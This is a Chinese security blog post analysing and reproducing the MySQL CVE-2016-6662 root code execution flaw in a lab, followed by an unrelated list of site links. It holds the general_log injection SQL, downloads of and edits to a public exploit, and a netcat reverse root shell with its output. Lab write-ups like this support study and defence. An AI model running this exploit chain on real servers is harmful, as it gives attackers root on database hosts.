MySQL远程代码执行/权限提升漏洞的分析与实践(CVE-2016-6662)
本文作者:安全小飞侠,原文链接:http://avfisher.win/archives/593
0x00 背景
2016年9月12日,国外安全研究人员Dawid Golunski发布安全公告发现了MySQL的一个可被远程代码执行/权限提升的漏洞(CVE-2016-6662)。笔者在研究了原报告后,做了如下分析和实践。
0x01 分析
影响范围 (漏洞作者9月16日的最新更新):
MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51
在对原报告的研究后,整理总结如下。
漏洞产生的原因:
- MySQL的默认安装包里自带了一个mysqld_safe的脚本用来启动mysql的服务进程,如:
- 该进程能够在启动mysql server之前预加载共享库文件,通过参数
–malloc-lib = LIB /usr/local/mysql/bin/mysqld_safe:
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
if [ -z "$malloc_lib" ]; then
log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
exit 1
fi
fi
3.共享库文件可被添加在一个mysql的配置文件my.cnf中, 比如mysql的data目录,$DATADIR/my.cnf
/usr/local/mysql/bin/mysqld_safe:
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
DATADIR=/usr/local/mysql/data
fi
4.一旦攻击者可以注入恶意库文件在my.cnf文件中,即可在mysql服务重启时以root权限执行预加载的任意共享库中的任意代码
漏洞的利用条件:
具有FILE和SELECT权限的mysql的用户且能够访问日志功能(通常情况下只有MYSQL的管理员用户具有)
漏洞的利用场景:
- 在MYSQL已存在的具有弱权限或者权限设置不安全的配置文件(mysql用户可写)里注入恶意代码
- 在MYSQL的data目录里(mysql用户默认可写)创建一个新的配置文件my.cnf,并注入恶意代码
漏洞的利用原理:
1.使用mysql的日志记录功能创建/修改my.cnf文件
mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so '>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
2.注入包涵恶意代码的共享库,并添加到my.cnf文件的[mysqld]下,如:
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
3.重启mysql服务,即可实现以root权限执行恶意代码
0x02 实践
实验环境:
- Ubuntu 16.04.1 LTS
- MySQL 5.5.50
实践步骤:
安装后目录如下:
root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x 2 mysql mysql 4096 9月 18 18:51 bin
-rw-r--r-- 1 mysql mysql 17987 5月 16 17:46 COPYING
drwx------ 6 mysql mysql 4096 9月 18 17:46 data
drwxr-xr-x 2 mysql mysql 4096 9月 13 23:58 docs
drwxr-xr-x 3 mysql mysql 4096 9月 13 19:17 include
-rw-r--r-- 1 mysql mysql 301 5月 16 17:46 INSTALL-BINARY
drwxr-xr-x 3 mysql mysql 4096 9月 13 19:17 lib
drwxr-xr-x 4 mysql mysql 4096 9月 13 19:17 man
drwxr-xr-x 10 mysql mysql 4096 9月 13 19:17 mysql-test
-rw-r--r-- 1 mysql mysql 2496 5月 16 17:46 README
drwxr-xr-x 2 mysql mysql 4096 9月 13 19:17 scripts
drwxr-xr-x 27 mysql mysql 4096 9月 13 19:17 share
drwxr-xr-x 4 mysql mysql 4096 9月 13 23:02 sql-bench
drwxr-xr-x 2 mysql mysql 4096 9月 18 17:52 support-files
2. 下载exp文件:
- 0ldSQLMySQLRCE_exploit.py:http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
- mysqlhookandrootlib.c:http://legalhackers.com/exploits/mysql_hookandroot_lib.c
3. 查找mysql的data目录,如:/usr/local/mysql/data
root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root 12592 0.0 0.0 4508 1780 pts/18 S 17:46 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root 13622 0.0 0.0 21296 940 pts/18 S+ 18:59 0:00 grep --color=auto mysqld_saf
4. 修改exp文件
0ldSQLMySQLRCE_exploit.py:修改161行如下 (注意:此处的作用是将mysql的触发器文件写入到测试数据库所在的同一目录下)
TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB
mysqlhookandrootlib.c:修改63-65行如下 (此处笔者使用的my.cnf的目录是/usr/local/mysql/data/my.cnf)
#define ATTACKERS_IP "<你的监听服务器的IP>"
#define SHELL_PORT <你的监听端口>
#define INJECTED_CONF "<你的mysql的data目录下的my.cnf文件>"
5.在监听服务器上启动监听
[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
6.创建测试数据库用户和数据库
CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
7.执行0ldSQLMySQLRCE_exploit.py脚本如下:
root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Connecting to target server 127.0.0.1 and target mysql account 'attacker@127.0.0.1' using DB 'pocdb'
[+] The account in use has the following grants/perms:
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'
[+] Compiling mysql_hookandroot_lib.so
[+] Converting mysql_hookandroot_lib.so into HEX
[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG
[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target
[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded
[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf
[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected
...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)
[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)
...
8.重启mysql服务来触发利用
root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart
9.监听服务器成功收到反弹shell
[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)
0x03 总结
笔者在该漏洞的测试和实践过程中,有如下的体会和心得:
- 漏洞作者巧妙地利用了触发器,使一个普通的用户利用了root权限执行了所需的sql语句,从而成功地绕过了mysql对于generallogfile文件操作的权限限制
- 漏洞作者提供了一个不错的反弹shell的技巧,即在mysqld启动之前利用preload加载my.cnf文件顺序早于mysqld成功地修改了my.cnf文件中的冗余信息,保证了mysql服务的正常启动
- 关于mysql的data目录下的my.cnf文件的权限问题,其实完全不需要chown mysql:mysql my.cnf, 只要同时具备以下2个条件即可:
- 默认的mysql用户对my.cnf具有可写权限
- my.cnf不是world-write权限
参考
- http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
- http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
- http://legalhackers.com/exploits/mysql_hookandroot_lib.c
- http://seclists.org/oss-sec/2016/q3/484
原文地址:http://avfisher.win/archives/593
- 获取SqlServer存储过程定义的3种方法
- 【自然框架】开源社区活动,会员注册的第一份代码!
- CentOS 7 安装Mono 和 MonoDevelop
- 【自然框架】注册会员活动——第一份代码的修改建议(第一版)
- 【视频】自然框架之分页控件的使用方法(一) PostBack方式的一般分页方式
- Java中的Socket编程学习
- 【视频】自然框架之分页控件的使用方法(二) 下载、DLL说明和web.config的设置
- Jsp开发中遇到的中文乱码问题及解决方法
- 开发中最常见的Java字符串问题总结
- .net异步性能测试(包括ASP.NET MVC WebAPI异步方法)
- Java 8的函数式编程学习
- 在C++中反射调用.NET(一) 反射调用第一个.NET类的方法
- QuickPager分页控件,最简单的设置代码
- Java中有关Null的9问题
- MySQL 教程
- MySQL 安装
- MySQL 管理与配置
- MySQL PHP 语法
- MySQL 连接
- MySQL 创建数据库
- MySQL 删除数据库
- MySQL 选择数据库
- MySQL 数据类型
- MySQL 创建数据表
- MySQL 删除数据表
- MySQL 插入数据
- MySQL 查询数据
- MySQL where 子句
- MySQL UPDATE 查询
- MySQL DELETE 语句
- MySQL LIKE 子句
- mysql order by
- Mysql Join的使用
- MySQL NULL 值处理
- MySQL 正则表达式
- MySQL 事务
- MySQL ALTER命令
- MySQL 索引
- MySQL 临时表
- MySQL 复制表
- 查看MySQL 元数据
- MySQL 序列 AUTO_INCREMENT
- MySQL 处理重复数据
- MySQL 及 SQL 注入
- MySQL 导出数据
- MySQL 导入数据
- MYSQL 函数大全
- MySQL Group By 实例讲解
- MySQL Max()函数实例讲解
- mysql count函数实例
- MYSQL UNION和UNION ALL实例
- MySQL IN 用法
- MySQL between and 实例讲解
- Python人工智能经典算法之聚类算法
- 【NPM库】- 0x06 - WebSocket
- 代码详解——《无人驾驶车辆模型预测控制》3.3.3代码详解
- 【前端】:模块化 - 打包技术
- 代码详解——《无人驾驶车辆模型预测控制》3.3.3参考路径更改
- MySQL redo与undo日志解析
- 样本不平衡造成的影响和解决方案
- 代码详解——NMPC路径跟踪复杂参考路径设置
- 代码详解——NMPC之加入控制平顺性惩罚项
- 代码详解——采用控制增量作为控制输入的NMPC路径跟踪
- 程序员进阶系列:年少不懂爱家家,懂了已是猿中人。
- 代码详解——Simulink中的运动学模型
- Spring Boot 特性之 Failure Analysis
- 「周末福报」头铁的我,一头扎进了知识盲区 ThreadLocal
- 「周末福报」如何高效使用 Kryo